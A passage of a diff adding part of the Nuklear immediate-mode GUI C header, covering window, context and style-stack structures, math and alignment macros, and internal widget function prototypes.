+}; + +struct nk_window { + unsigned int seq; + nk_hash name; + char name_string[NK_WINDOW_MAX_NAME]; + nk_flags flags; + + struct nk_rect bounds; + struct nk_scroll scrollbar; + struct nk_command_buffer buffer; + struct nk_panel *layout; + float scrollbar_hiding_timer; + + /* persistent widget state */ + struct nk_property_state property; + struct nk_popup_state popup; + struct nk_edit_state edit; + unsigned int scrolled; + + struct nk_table *tables; + unsigned int table_count; + + /* window list hooks */ + struct nk_window *next; + struct nk_window *prev; + struct nk_window *parent; +}; + +/*============================================================== + * STACK + * =============================================================*/ +/* The style modifier stack can be used to temporarily change a + * property inside `nk_style`. For example if you want a special + * red button you can temporarily push the old button color onto a stack + * draw the button with a red color and then you just pop the old color + * back from the stack: + * + * nk_style_push_style_item(ctx, &ctx->style.button.normal, nk_style_item_color(nk_rgb(255,0,0))); + * nk_style_push_style_item(ctx, &ctx->style.button.hover, nk_style_item_color(nk_rgb(255,0,0))); + * nk_style_push_style_item(ctx, &ctx->style.button.active, nk_style_item_color(nk_rgb(255,0,0))); + * nk_style_push_vec2(ctx, &cx->style.button.padding, nk_vec2(2,2)); + * + * nk_button(...); + * + * nk_style_pop_style_item(ctx); + * nk_style_pop_style_item(ctx); + * nk_style_pop_style_item(ctx); + * nk_style_pop_vec2(ctx); + * + * Nuklear has a stack for style_items, float properties, vector properties, + * flags, colors, fonts and for button_behavior. Each has it's own fixed size stack + * which can be changed at compile time. + */ +#ifndef NK_BUTTON_BEHAVIOR_STACK_SIZE +#define NK_BUTTON_BEHAVIOR_STACK_SIZE 8 +#endif + +#ifndef NK_FONT_STACK_SIZE +#define NK_FONT_STACK_SIZE 8 +#endif + +#ifndef NK_STYLE_ITEM_STACK_SIZE +#define NK_STYLE_ITEM_STACK_SIZE 16 +#endif + +#ifndef NK_FLOAT_STACK_SIZE +#define NK_FLOAT_STACK_SIZE 32 +#endif + +#ifndef NK_VECTOR_STACK_SIZE +#define NK_VECTOR_STACK_SIZE 16 +#endif + +#ifndef NK_FLAGS_STACK_SIZE +#define NK_FLAGS_STACK_SIZE 32 +#endif + +#ifndef NK_COLOR_STACK_SIZE +#define NK_COLOR_STACK_SIZE 32 +#endif + +#define NK_CONFIGURATION_STACK_TYPE(prefix, name, type)\ + struct nk_config_stack_##name##_element {\ + prefix##_##type *address;\ + prefix##_##type old_value;\ + } +#define NK_CONFIG_STACK(type,size)\ + struct nk_config_stack_##type {\ + int head;\ + struct nk_config_stack_##type##_element elements[size];\ + } + +#define nk_float float +NK_CONFIGURATION_STACK_TYPE(struct nk, style_item, style_item); +NK_CONFIGURATION_STACK_TYPE(nk ,float, float); +NK_CONFIGURATION_STACK_TYPE(struct nk, vec2, vec2); +NK_CONFIGURATION_STACK_TYPE(nk ,flags, flags); +NK_CONFIGURATION_STACK_TYPE(struct nk, color, color); +NK_CONFIGURATION_STACK_TYPE(const struct nk, user_font, user_font*); +NK_CONFIGURATION_STACK_TYPE(enum nk, button_behavior, button_behavior); + +NK_CONFIG_STACK(style_item, NK_STYLE_ITEM_STACK_SIZE); +NK_CONFIG_STACK(float, NK_FLOAT_STACK_SIZE); +NK_CONFIG_STACK(vec2, NK_VECTOR_STACK_SIZE); +NK_CONFIG_STACK(flags, NK_FLAGS_STACK_SIZE); +NK_CONFIG_STACK(color, NK_COLOR_STACK_SIZE); +NK_CONFIG_STACK(user_font, NK_FONT_STACK_SIZE); +NK_CONFIG_STACK(button_behavior, NK_BUTTON_BEHAVIOR_STACK_SIZE); + +struct nk_configuration_stacks { + struct nk_config_stack_style_item style_items; + struct nk_config_stack_float floats; + struct nk_config_stack_vec2 vectors; + struct nk_config_stack_flags flags; + struct nk_config_stack_color colors; + struct nk_config_stack_user_font fonts; + struct nk_config_stack_button_behavior button_behaviors; +}; + +/*============================================================== + * CONTEXT + * =============================================================*/ +#define NK_VALUE_PAGE_CAPACITY \ + (((NK_MAX(sizeof(struct nk_window),sizeof(struct nk_panel)) / sizeof(nk_uint))) / 2) + +struct nk_table { + unsigned int seq; + unsigned int size; + nk_hash keys[NK_VALUE_PAGE_CAPACITY]; + nk_uint values[NK_VALUE_PAGE_CAPACITY]; + struct nk_table *next, *prev; +}; + +union nk_page_data { + struct nk_table tbl; + struct nk_panel pan; + struct nk_window win; +}; + +struct nk_page_element { + union nk_page_data data; + struct nk_page_element *next; + struct nk_page_element *prev; +}; + +struct nk_page { + unsigned int size; + struct nk_page *next; + struct nk_page_element win[1]; +}; + +struct nk_pool { + struct nk_allocator alloc; + enum nk_allocation_type type; + unsigned int page_count; + struct nk_page *pages; + struct nk_page_element *freelist; + unsigned capacity; + nk_size size; + nk_size cap; +}; + +struct nk_context { +/* public: can be accessed freely */ + struct nk_input input; + struct nk_style style; + struct nk_buffer memory; + struct nk_clipboard clip; + nk_flags last_widget_state; + enum nk_button_behavior button_behavior; + struct nk_configuration_stacks stacks; + float delta_time_seconds; + +/* private: + should only be accessed if you + know what you are doing */ +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT + struct nk_draw_list draw_list; +#endif +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_handle userdata; +#endif + /* text editor objects are quite big because of an internal + * undo/redo stack. Therefore it does not make sense to have one for + * each window for temporary use cases, so I only provide *one* instance + * for all windows. This works because the content is cleared anyway */ + struct nk_text_edit text_edit; + /* draw buffer used for overlay drawing operation like cursor */ + struct nk_command_buffer overlay; + + /* windows */ + int build; + int use_pool; + struct nk_pool pool; + struct nk_window *begin; + struct nk_window *end; + struct nk_window *active; + struct nk_window *current; + struct nk_page_element *freelist; + unsigned int count; + unsigned int seq; +}; + +/* ============================================================== + * MATH + * =============================================================== */ +#define NK_PI 3.141592654f +#define NK_UTF_INVALID 0xFFFD +#define NK_MAX_FLOAT_PRECISION 2 + +#define NK_UNUSED(x) ((void)(x)) +#define NK_SATURATE(x) (NK_MAX(0, NK_MIN(1.0f, x))) +#define NK_LEN(a) (sizeof(a)/sizeof(a)[0]) +#define NK_ABS(a) (((a) < 0) ? -(a) : (a)) +#define NK_BETWEEN(x, a, b) ((a) <= (x) && (x) < (b)) +#define NK_INBOX(px, py, x, y, w, h)\ + (NK_BETWEEN(px,x,x+w) && NK_BETWEEN(py,y,y+h)) +#define NK_INTERSECT(x0, y0, w0, h0, x1, y1, w1, h1) \ + (!(((x1 > (x0 + w0)) || ((x1 + w1) < x0) || (y1 > (y0 + h0)) || (y1 + h1) < y0))) +#define NK_CONTAINS(x, y, w, h, bx, by, bw, bh)\ + (NK_INBOX(x,y, bx, by, bw, bh) && NK_INBOX(x+w,y+h, bx, by, bw, bh)) + +#define nk_vec2_sub(a, b) nk_vec2((a).x - (b).x, (a).y - (b).y) +#define nk_vec2_add(a, b) nk_vec2((a).x + (b).x, (a).y + (b).y) +#define nk_vec2_len_sqr(a) ((a).x*(a).x+(a).y*(a).y) +#define nk_vec2_muls(a, t) nk_vec2((a).x * (t), (a).y * (t)) + +#define nk_ptr_add(t, p, i) ((t*)((void*)((nk_byte*)(p) + (i)))) +#define nk_ptr_add_const(t, p, i) ((const t*)((const void*)((const nk_byte*)(p) + (i)))) +#define nk_zero_struct(s) nk_zero(&s, sizeof(s)) + +/* ============================================================== + * ALIGNMENT + * =============================================================== */ +/* Pointer to Integer type conversion for pointer alignment */ +#if defined(__PTRDIFF_TYPE__) /* This case should work for GCC*/ +# define NK_UINT_TO_PTR(x) ((void*)(__PTRDIFF_TYPE__)(x)) +# define NK_PTR_TO_UINT(x) ((nk_size)(__PTRDIFF_TYPE__)(x)) +#elif !defined(__GNUC__) /* works for compilers other than LLVM */ +# define NK_UINT_TO_PTR(x) ((void*)&((char*)0)[x]) +# define NK_PTR_TO_UINT(x) ((nk_size)(((char*)x)-(char*)0)) +#elif defined(NK_USE_FIXED_TYPES) /* used if we have */ +# define NK_UINT_TO_PTR(x) ((void*)(uintptr_t)(x)) +# define NK_PTR_TO_UINT(x) ((uintptr_t)(x)) +#else /* generates warning but works */ +# define NK_UINT_TO_PTR(x) ((void*)(x)) +# define NK_PTR_TO_UINT(x) ((nk_size)(x)) +#endif + +#define NK_ALIGN_PTR(x, mask)\ + (NK_UINT_TO_PTR((NK_PTR_TO_UINT((nk_byte*)(x) + (mask-1)) & ~(mask-1)))) +#define NK_ALIGN_PTR_BACK(x, mask)\ + (NK_UINT_TO_PTR((NK_PTR_TO_UINT((nk_byte*)(x)) & ~(mask-1)))) + +#define NK_OFFSETOF(st,m) ((nk_ptr)&(((st*)0)->m)) +#define NK_CONTAINER_OF(ptr,type,member)\ + (type*)((void*)((char*)(1 ? (ptr): &((type*)0)->member) - NK_OFFSETOF(type, member))) + +#ifdef __cplusplus +} +#endif + +#ifdef __cplusplus +template struct nk_alignof; +template struct nk_helper{enum {value = size_diff};}; +template struct nk_helper{enum {value = nk_alignof::value};}; +template struct nk_alignof{struct Big {T x; char c;}; enum { + diff = sizeof(Big) - sizeof(T), value = nk_helper::value};}; +#define NK_ALIGNOF(t) (nk_alignof::value) +#elif defined(_MSC_VER) +#define NK_ALIGNOF(t) (__alignof(t)) +#else +#define NK_ALIGNOF(t) ((char*)(&((struct {char c; t _h;}*)0)->_h) - (char*)0) +#endif + +#endif /* NK_NUKLEAR_H_ */ + +#ifdef NK_IMPLEMENTATION + +#ifndef NK_INTERNAL_H +#define NK_INTERNAL_H + +#ifndef NK_POOL_DEFAULT_CAPACITY +#define NK_POOL_DEFAULT_CAPACITY 16 +#endif + +#ifndef NK_DEFAULT_COMMAND_BUFFER_SIZE +#define NK_DEFAULT_COMMAND_BUFFER_SIZE (4*1024) +#endif + +#ifndef NK_BUFFER_DEFAULT_INITIAL_SIZE +#define NK_BUFFER_DEFAULT_INITIAL_SIZE (4*1024) +#endif + +/* standard library headers */ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +#include /* malloc, free */ +#endif +#ifdef NK_INCLUDE_STANDARD_IO +#include /* fopen, fclose,... */ +#endif +#ifdef NK_INCLUDE_STANDARD_VARARGS +#include /* valist, va_start, va_end, ... */ +#endif +#ifndef NK_ASSERT +#include +#define NK_ASSERT(expr) assert(expr) +#endif + +#ifndef NK_MEMSET +#define NK_MEMSET nk_memset +#endif +#ifndef NK_MEMCPY +#define NK_MEMCPY nk_memcopy +#endif +#ifndef NK_SQRT +#define NK_SQRT nk_sqrt +#endif +#ifndef NK_SIN +#define NK_SIN nk_sin +#endif +#ifndef NK_COS +#define NK_COS nk_cos +#endif +#ifndef NK_STRTOD +#define NK_STRTOD nk_strtod +#endif +#ifndef NK_DTOA +#define NK_DTOA nk_dtoa +#endif + +#define NK_DEFAULT (-1) + +#ifndef NK_VSNPRINTF +/* If your compiler does support `vsnprintf` I would highly recommend + * defining this to vsnprintf instead since `vsprintf` is basically + * unbelievable unsafe and should *NEVER* be used. But I have to support + * it since C89 only provides this unsafe version. */ + #if (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) ||\ + (defined(__cplusplus) && (__cplusplus >= 201103L)) || \ + (defined(_POSIX_C_SOURCE) && (_POSIX_C_SOURCE >= 200112L)) ||\ + (defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE >= 500)) ||\ + defined(_ISOC99_SOURCE) || defined(_BSD_SOURCE) + #define NK_VSNPRINTF(s,n,f,a) vsnprintf(s,n,f,a) + #else + #define NK_VSNPRINTF(s,n,f,a) vsprintf(s,f,a) + #endif +#endif + +#define NK_SCHAR_MIN (-127) +#define NK_SCHAR_MAX 127 +#define NK_UCHAR_MIN 0 +#define NK_UCHAR_MAX 256 +#define NK_SSHORT_MIN (-32767) +#define NK_SSHORT_MAX 32767 +#define NK_USHORT_MIN 0 +#define NK_USHORT_MAX 65535 +#define NK_SINT_MIN (-2147483647) +#define NK_SINT_MAX 2147483647 +#define NK_UINT_MIN 0 +#define NK_UINT_MAX 4294967295u + +/* Make sure correct type size: + * This will fire with a negative subscript error if the type sizes + * are set incorrectly by the compiler, and compile out if not */ +NK_STATIC_ASSERT(sizeof(nk_size) >= sizeof(void*)); +NK_STATIC_ASSERT(sizeof(nk_ptr) == sizeof(void*)); +NK_STATIC_ASSERT(sizeof(nk_flags) >= 4); +NK_STATIC_ASSERT(sizeof(nk_rune) >= 4); +NK_STATIC_ASSERT(sizeof(nk_ushort) == 2); +NK_STATIC_ASSERT(sizeof(nk_short) == 2); +NK_STATIC_ASSERT(sizeof(nk_uint) == 4); +NK_STATIC_ASSERT(sizeof(nk_int) == 4); +NK_STATIC_ASSERT(sizeof(nk_byte) == 1); + +NK_GLOBAL const struct nk_rect nk_null_rect = {-8192.0f, -8192.0f, 16384, 16384}; +#define NK_FLOAT_PRECISION 0.00000000000001 + +NK_GLOBAL const struct nk_color nk_red = {255,0,0,255}; +NK_GLOBAL const struct nk_color nk_green = {0,255,0,255}; +NK_GLOBAL const struct nk_color nk_blue = {0,0,255,255}; +NK_GLOBAL const struct nk_color nk_white = {255,255,255,255}; +NK_GLOBAL const struct nk_color nk_black = {0,0,0,255}; +NK_GLOBAL const struct nk_color nk_yellow = {255,255,0,255}; + +/* widget */ +#define nk_widget_state_reset(s)\ + if ((*(s)) & NK_WIDGET_STATE_MODIFIED)\ + (*(s)) = NK_WIDGET_STATE_INACTIVE|NK_WIDGET_STATE_MODIFIED;\ + else (*(s)) = NK_WIDGET_STATE_INACTIVE; + +/* math */ +NK_LIB float nk_inv_sqrt(float n); +NK_LIB float nk_sqrt(float x); +NK_LIB float nk_sin(float x); +NK_LIB float nk_cos(float x); +NK_LIB nk_uint nk_round_up_pow2(nk_uint v); +NK_LIB struct nk_rect nk_shrink_rect(struct nk_rect r, float amount); +NK_LIB struct nk_rect nk_pad_rect(struct nk_rect r, struct nk_vec2 pad); +NK_LIB void nk_unify(struct nk_rect *clip, const struct nk_rect *a, float x0, float y0, float x1, float y1); +NK_LIB double nk_pow(double x, int n); +NK_LIB int nk_ifloord(double x); +NK_LIB int nk_ifloorf(float x); +NK_LIB int nk_iceilf(float x); +NK_LIB int nk_log10(double n); + +/* util */ +enum {NK_DO_NOT_STOP_ON_NEW_LINE, NK_STOP_ON_NEW_LINE}; +NK_LIB int nk_is_lower(int c); +NK_LIB int nk_is_upper(int c); +NK_LIB int nk_to_upper(int c); +NK_LIB int nk_to_lower(int c); +NK_LIB void* nk_memcopy(void *dst, const void *src, nk_size n); +NK_LIB void nk_memset(void *ptr, int c0, nk_size size); +NK_LIB void nk_zero(void *ptr, nk_size size); +NK_LIB char *nk_itoa(char *s, long n); +NK_LIB int nk_string_float_limit(char *string, int prec); +NK_LIB char *nk_dtoa(char *s, double n); +NK_LIB int nk_text_clamp(const struct nk_user_font *font, const char *text, int text_len, float space, int *glyphs, float *text_width, nk_rune *sep_list, int sep_count); +NK_LIB struct nk_vec2 nk_text_calculate_text_bounds(const struct nk_user_font *font, const char *begin, int byte_len, float row_height, const char **remaining, struct nk_vec2 *out_offset, int *glyphs, int op); +#ifdef NK_INCLUDE_STANDARD_VARARGS +NK_LIB int nk_strfmt(char *buf, int buf_size, const char *fmt, va_list args); +#endif +#ifdef NK_INCLUDE_STANDARD_IO +NK_LIB char *nk_file_load(const char* path, nk_size* siz, struct nk_allocator *alloc); +#endif + +/* buffer */ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_LIB void* nk_malloc(nk_handle unused, void *old,nk_size size); +NK_LIB void nk_mfree(nk_handle unused, void *ptr); +#endif +NK_LIB void* nk_buffer_align(void *unaligned, nk_size align, nk_size *alignment, enum nk_buffer_allocation_type type); +NK_LIB void* nk_buffer_alloc(struct nk_buffer *b, enum nk_buffer_allocation_type type, nk_size size, nk_size align); +NK_LIB void* nk_buffer_realloc(struct nk_buffer *b, nk_size capacity, nk_size *size); + +/* draw */ +NK_LIB void nk_command_buffer_init(struct nk_command_buffer *cb, struct nk_buffer *b, enum nk_command_clipping clip); +NK_LIB void nk_command_buffer_reset(struct nk_command_buffer *b); +NK_LIB void* nk_command_buffer_push(struct nk_command_buffer* b, enum nk_command_type t, nk_size size); +NK_LIB void nk_draw_symbol(struct nk_command_buffer *out, enum nk_symbol_type type, struct nk_rect content, struct nk_color background, struct nk_color foreground, float border_width, const struct nk_user_font *font); + +/* buffering */ +NK_LIB void nk_start_buffer(struct nk_context *ctx, struct nk_command_buffer *b); +NK_LIB void nk_start(struct nk_context *ctx, struct nk_window *win); +NK_LIB void nk_start_popup(struct nk_context *ctx, struct nk_window *win); +NK_LIB void nk_finish_popup(struct nk_context *ctx, struct nk_window*); +NK_LIB void nk_finish_buffer(struct nk_context *ctx, struct nk_command_buffer *b); +NK_LIB void nk_finish(struct nk_context *ctx, struct nk_window *w); +NK_LIB void nk_build(struct nk_context *ctx); + +/* text editor */ +NK_LIB void nk_textedit_clear_state(struct nk_text_edit *state, enum nk_text_edit_type type, nk_plugin_filter filter); +NK_LIB void nk_textedit_click(struct nk_text_edit *state, float x, float y, const struct nk_user_font *font, float row_height); +NK_LIB void nk_textedit_drag(struct nk_text_edit *state, float x, float y, const struct nk_user_font *font, float row_height); +NK_LIB void nk_textedit_key(struct nk_text_edit *state, enum nk_keys key, int shift_mod, const struct nk_user_font *font, float row_height); + +/* window */ +enum nk_window_insert_location { + NK_INSERT_BACK, /* inserts window into the back of list (front of screen) */ + NK_INSERT_FRONT /* inserts window into the front of list (back of screen) */ +}; +NK_LIB void *nk_create_window(struct nk_context *ctx); +NK_LIB void nk_remove_window(struct nk_context*, struct nk_window*); +NK_LIB void nk_free_window(struct nk_context *ctx, struct nk_window *win); +NK_LIB struct nk_window *nk_find_window(struct nk_context *ctx, nk_hash hash, const char *name); +NK_LIB void nk_insert_window(struct nk_context *ctx, struct nk_window *win, enum nk_window_insert_location loc); + +/* pool */ +NK_LIB void nk_pool_init(struct nk_pool *pool, struct nk_allocator *alloc, unsigned int capacity); +NK_LIB void nk_pool_free(struct nk_pool *pool); +NK_LIB void nk_pool_init_fixed(struct nk_pool *pool, void *memory, nk_size size); +NK_LIB struct nk_page_element *nk_pool_alloc(struct nk_pool *pool); + +/* page-element */ +NK_LIB struct nk_page_element* nk_create_page_element(struct nk_context *ctx); +NK_LIB void nk_link_page_element_into_freelist(struct nk_context *ctx, struct nk_page_element *elem); +NK_LIB void nk_free_page_element(struct nk_context *ctx, struct nk_page_element *elem); + +/* table */ +NK_LIB struct nk_table* nk_create_table(struct nk_context *ctx); +NK_LIB void nk_remove_table(struct nk_window *win, struct nk_table *tbl); +NK_LIB void nk_free_table(struct nk_context *ctx, struct nk_table *tbl); +NK_LIB void nk_push_table(struct nk_window *win, struct nk_table *tbl); +NK_LIB nk_uint *nk_add_value(struct nk_context *ctx, struct nk_window *win, nk_hash name, nk_uint value); +NK_LIB nk_uint *nk_find_value(struct nk_window *win, nk_hash name); + +/* panel */ +NK_LIB void *nk_create_panel(struct nk_context *ctx); +NK_LIB void nk_free_panel(struct nk_context*, struct nk_panel *pan); +NK_LIB int nk_panel_has_header(nk_flags flags, const char *title); +NK_LIB struct nk_vec2 nk_panel_get_padding(const struct nk_style *style, enum nk_panel_type type); +NK_LIB float nk_panel_get_border(const struct nk_style *style, nk_flags flags, enum nk_panel_type type); +NK_LIB struct nk_color nk_panel_get_border_color(const struct nk_style *style, enum nk_panel_type type); +NK_LIB int nk_panel_is_sub(enum nk_panel_type type); +NK_LIB int nk_panel_is_nonblock(enum nk_panel_type type); +NK_LIB int nk_panel_begin(struct nk_context *ctx, const char *title, enum nk_panel_type panel_type); +NK_LIB void nk_panel_end(struct nk_context *ctx); + +/* layout */ +NK_LIB float nk_layout_row_calculate_usable_space(const struct nk_style *style, enum nk_panel_type type, float total_space, int columns); +NK_LIB void nk_panel_layout(const struct nk_context *ctx, struct nk_window *win, float height, int cols); +NK_LIB void nk_row_layout(struct nk_context *ctx, enum nk_layout_format fmt, float height, int cols, int width); +NK_LIB void nk_panel_alloc_row(const struct nk_context *ctx, struct nk_window *win); +NK_LIB void nk_layout_widget_space(struct nk_rect *bounds, const struct nk_context *ctx, struct nk_window *win, int modify); +NK_LIB void nk_panel_alloc_space(struct nk_rect *bounds, const struct nk_context *ctx); +NK_LIB void nk_layout_peek(struct nk_rect *bounds, struct nk_context *ctx); + +/* popup */ +NK_LIB int nk_nonblock_begin(struct nk_context *ctx, nk_flags flags, struct nk_rect body, struct nk_rect header, enum nk_panel_type panel_type); + +/* text */ +struct nk_text { + struct nk_vec2 padding; + struct nk_color background; + struct nk_color text; +}; +NK_LIB void nk_widget_text(struct nk_command_buffer *o, struct nk_rect b, const char *string, int len, const struct nk_text *t, nk_flags a, const struct nk_user_font *f); +NK_LIB void nk_widget_text_wrap(struct nk_command_buffer *o, struct nk_rect b, const char *string, int len, const struct nk_text *t, const struct nk_user_font *f); + +/* button */ +NK_LIB int nk_button_behavior(nk_flags *state, struct nk_rect r, const struct nk_input *i, enum nk_button_behavior behavior); +NK_LIB const struct nk_style_item* nk_draw_button(struct nk_command_buffer *out, const struct nk_rect *bounds, nk_flags state, const struct nk_style_button *style); +NK_LIB int nk_do_button(nk_flags *state, struct nk_command_buffer *out, struct nk_rect r, const struct nk_style_button *style, const struct nk_input *in, enum nk_button_behavior behavior, struct nk_rect *content); +NK_LIB void nk_draw_button_text(struct nk_command_buffer *out, const struct nk_rect *bounds, const struct nk_rect *content, nk_flags state, const struct nk_style_button *style, const char *txt, int len, nk_flags text_alignment, const struct nk_user_font *font); +NK_LIB int nk_do_button_text(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, const char *string, int len, nk_flags align, enum nk_button_behavior behavior, const struct nk_style_button *style, const struct nk_input *in, const struct nk_user_font *font); +NK_LIB void nk_draw_button_symbol(struct nk_command_buffer *out, const struct nk_rect *bounds, const struct nk_rect *content, nk_flags state, const struct nk_style_button *style, enum nk_symbol_type type, const struct nk_user_font *font); +NK_LIB int nk_do_button_symbol(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, enum nk_symbol_type symbol, enum nk_button_behavior behavior, const struct nk_style_button *style, const struct nk_input *in, const struct nk_user_font *font); +NK_LIB void nk_draw_button_image(struct nk_command_buffer *out, const struct nk_rect *bounds, const struct nk_rect *content, nk_flags state, const struct nk_style_button *style, const struct nk_image *img); +NK_LIB int nk_do_button_image(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, struct nk_image img, enum nk_button_behavior b, const struct nk_style_button *style, const struct nk_input *in); +NK_LIB void nk_draw_button_text_symbol(struct nk_command_buffer *out, const struct nk_rect *bounds, const struct nk_rect *label, const struct nk_rect *symbol, nk_flags state, const struct nk_style_button *style, const char *str, int len, enum nk_symbol_type type, const struct nk_user_font *font); +NK_LIB int nk_do_button_text_symbol(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, enum nk_symbol_type symbol, const char *str, int len, nk_flags align, enum nk_button_behavior behavior, const struct nk_style_button *style, const struct nk_user_font *font, const struct nk_input *in); +NK_LIB void nk_draw_button_text_image(struct nk_command_buffer *out, const struct nk_rect *bounds, const struct nk_rect *label, const struct nk_rect *image, nk_flags state, const struct nk_style_button *style, const char *str, int len, const struct nk_user_font *font, const struct nk_image *img); +NK_LIB int nk_do_button_text_image(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, struct nk_image img, const char* str, int len, nk_flags align, enum nk_button_behavior behavior, const struct nk_style_button *style, const struct nk_user_font *font, const struct nk_input *in); + +/* toggle */ +enum nk_toggle_type { + NK_TOGGLE_CHECK, + NK_TOGGLE_OPTION +}; +NK_LIB int nk_toggle_behavior(const struct nk_input *in, struct nk_rect select, nk_flags *state, int active); +NK_LIB void nk_draw_checkbox(struct nk_command_buffer *out, nk_flags state, const struct nk_style_toggle *style, int active, const struct nk_rect *label, const struct nk_rect *selector, const struct nk_rect *cursors, const char *string, int len, const struct nk_user_font *font); +NK_LIB void nk_draw_option(struct nk_command_buffer *out, nk_flags state, const struct nk_style_toggle *style, int active, const struct nk_rect *label, const struct nk_rect *selector, const struct nk_rect *cursors, const char *string, int len, const struct nk_user_font *font); +NK_LIB int nk_do_toggle(nk_flags *state, struct nk_command_buffer *out, struct nk_rect r, int *active, const char *str, int len, enum nk_toggle_type type, const struct nk_style_toggle *style, const struct nk_input *in, const struct nk_user_font *font); + +/* progress */ +NK_LIB nk_size nk_progress_behavior(nk_flags *state, struct nk_input *in, struct nk_rect r, struct nk_rect cursor, nk_size max, nk_size value, int modifiable); +NK_LIB void nk_draw_progress(struct nk_command_buffer *out, nk_flags state, const struct nk_style_progress *style, const struct nk_rect *bounds, const struct nk_rect *scursor, nk_size value, nk_size max); +NK_LIB nk_size nk_do_progress(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, nk_size value, nk_size max, int modifiable, const struct nk_style_progress *style, struct nk_input *in); + +/* slider */ +NK_LIB float nk_slider_behavior(nk_flags *state, struct nk_rect *logical_cursor, struct nk_rect *visual_cursor, struct nk_input *in, struct nk_rect bounds, float slider_min, float slider_max, float slider_value, float slider_step, float slider_steps); +NK_LIB void nk_draw_slider(struct nk_command_buffer *out, nk_flags state, const struct nk_style_slider *style, const struct nk_rect *bounds, const struct nk_rect *visual_cursor, float min, float value, float max); +NK_LIB float nk_do_slider(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, float min, float val, float max, float step, const struct nk_style_slider *style, struct nk_input *in, const struct nk_user_font *font); + +/* scrollbar */ +NK_LIB float nk_scrollbar_behavior(nk_flags *state, struct nk_input *in, int has_scrolling, const struct nk_rect *scroll, const struct nk_rect *cursor, const struct nk_rect *empty0, const struct nk_rect *empty1, float scroll_offset, float target, float scroll_step, enum nk_orientation o); +NK_LIB void nk_draw_scrollbar(struct nk_command_buffer *out, nk_flags state, const struct nk_style_scrollbar *style, const struct nk_rect *bounds, const struct nk_rect *scroll); +NK_LIB float nk_do_scrollbarv(nk_flags *state, struct nk_command_buffer *out, struct nk_rect scroll, int has_scrolling, float offset, float target, float step, float button_pixel_inc, const struct nk_style_scrollbar *style, struct nk_input *in, const struct nk_user_font *font); +NK_LIB float nk_do_scrollbarh(nk_flags *state, struct nk_command_buffer *out, struct nk_rect scroll, int has_scrolling, float offset, float target, float step, float button_pixel_inc, const struct nk_style_scrollbar *style, struct nk_input *in, const struct nk_user_font *font); + +/* selectable */ +NK_LIB void nk_draw_selectable(struct nk_command_buffer *out, nk_flags state, const struct nk_style_selectable *style, int active, const struct nk_rect *bounds, const struct nk_rect *icon, const struct nk_image *img, enum nk_symbol_type sym, const char *string, int len, nk_flags align, const struct nk_user_font *font); +NK_LIB int nk_do_selectable(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, const char *str, int len, nk_flags align, int *value, const struct nk_style_selectable *style, const struct nk_input *in, const struct nk_user_font *font); +NK_LIB int nk_do_selectable_image(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, const char *str, int len, nk_flags align, int *value, const struct nk_image *img, const struct nk_style_selectable *style, const struct nk_input *in, const struct nk_user_font *font); + +/* edit */ +NK_LIB void nk_edit_draw_text(struct nk_command_buffer *out, const struct nk_style_edit *style, float pos_x, float pos_y, float x_offset, const char *text, int byte_len, float row_height, const struct nk_user_font *font, struct nk_color background, struct nk_color foreground, int is_selected); +NK_LIB nk_flags nk_do_edit(nk_flags *state, struct nk_command_buffer *out, struct nk_rect bounds, nk_flags flags, nk_plugin_filter filter, struct nk_text_edit *edit, const struct nk_style_edit *style, struct nk_input *in, const struct nk_user_font *font); + +/* color-picker */ +NK_LIB int nk_color_picker_behavior(nk_flags *state, const struct nk_rect *bounds, const struct nk_rect *matrix, const struct nk_rect *hue_bar, const struct nk_rect *alpha_bar, struct nk_colorf *color, const struct nk_input *in); +NK_LIB void nk_draw_color_picker(struct nk_command_buffer *o, const struct nk_rect *matrix, const struct nk_rect *hue_bar, const struct nk_rect *alpha_bar, struct nk_colorf col); +NK_LIB int nk_do_color_picker(nk_flags *state, struct nk_command_buffer *out, struct nk_colorf *col, enum nk_color_format fmt, struct nk_rect bounds, struct nk_vec2 padding, const struct nk_input *in, const struct nk_user_font *font); + +/* property */ +enum nk_property_status { + NK_PROPERTY_DEFAULT, + NK_PROPERTY_EDIT, + NK_PROPERTY_DRAG +}; +enum nk_property_filter { + NK_FILTER_INT, + NK_FILTER_FLOAT +}; +enum nk_property_kind { + NK_PROPERTY_INT, + NK_PROPERTY_FLOAT, + NK_PROPERTY_DOUBLE +}; +union nk_property { + int i; + float f; + double d; +}; +struct nk_property_variant { + enum nk_property_kind kind; + union nk_property value; + union nk_property min_value; + union nk_property max_value; + union nk_property step; +}; +NK_LIB struct nk_property_variant nk_property_variant_int(int value, int min_value, int max_value, int step); +NK_LIB struct nk_property_variant nk_property_variant_float(float value, float min_value, float max_value, float step); +NK_LIB struct nk_property_variant nk_property_variant_double(double value, double min_value, double max_value, double step); + +NK_LIB void nk_drag_behavior(nk_flags *state, const struct nk_input *in, struct nk_rect drag, struct nk_property_variant *variant, float inc_per_pixel); +NK_LIB void nk_property_behavior(nk_flags *ws, const struct nk_input *in, struct nk_rect property, struct nk_rect label, struct nk_rect edit, struct nk_rect empty, int *state, struct nk_property_variant *variant, float inc_per_pixel); +NK_LIB void nk_draw_property(struct nk_command_buffer *out, const struct nk_style_property *style, const struct nk_rect *bounds, const struct nk_rect *label, nk_flags state, const char *name, int len, const struct nk_user_font *font); +NK_LIB void nk_do_property(nk_flags *ws, struct nk_command_buffer *out, struct nk_rect property, const char *name, struct nk_property_variant *variant, float inc_per_pixel, char *buffer, int *len, int *state, int *cursor, int *select_begin, int *select_end, const struct nk_style_property *style, enum nk_property_filter filter, struct nk_input *in, const struct nk_user_font *font, struct nk_text_edit *text_edit, enum nk_button_behavior behavior); +NK_LIB void nk_property(struct nk_context *ctx, const char *name, struct nk_property_variant *variant, float inc_per_pixel, const 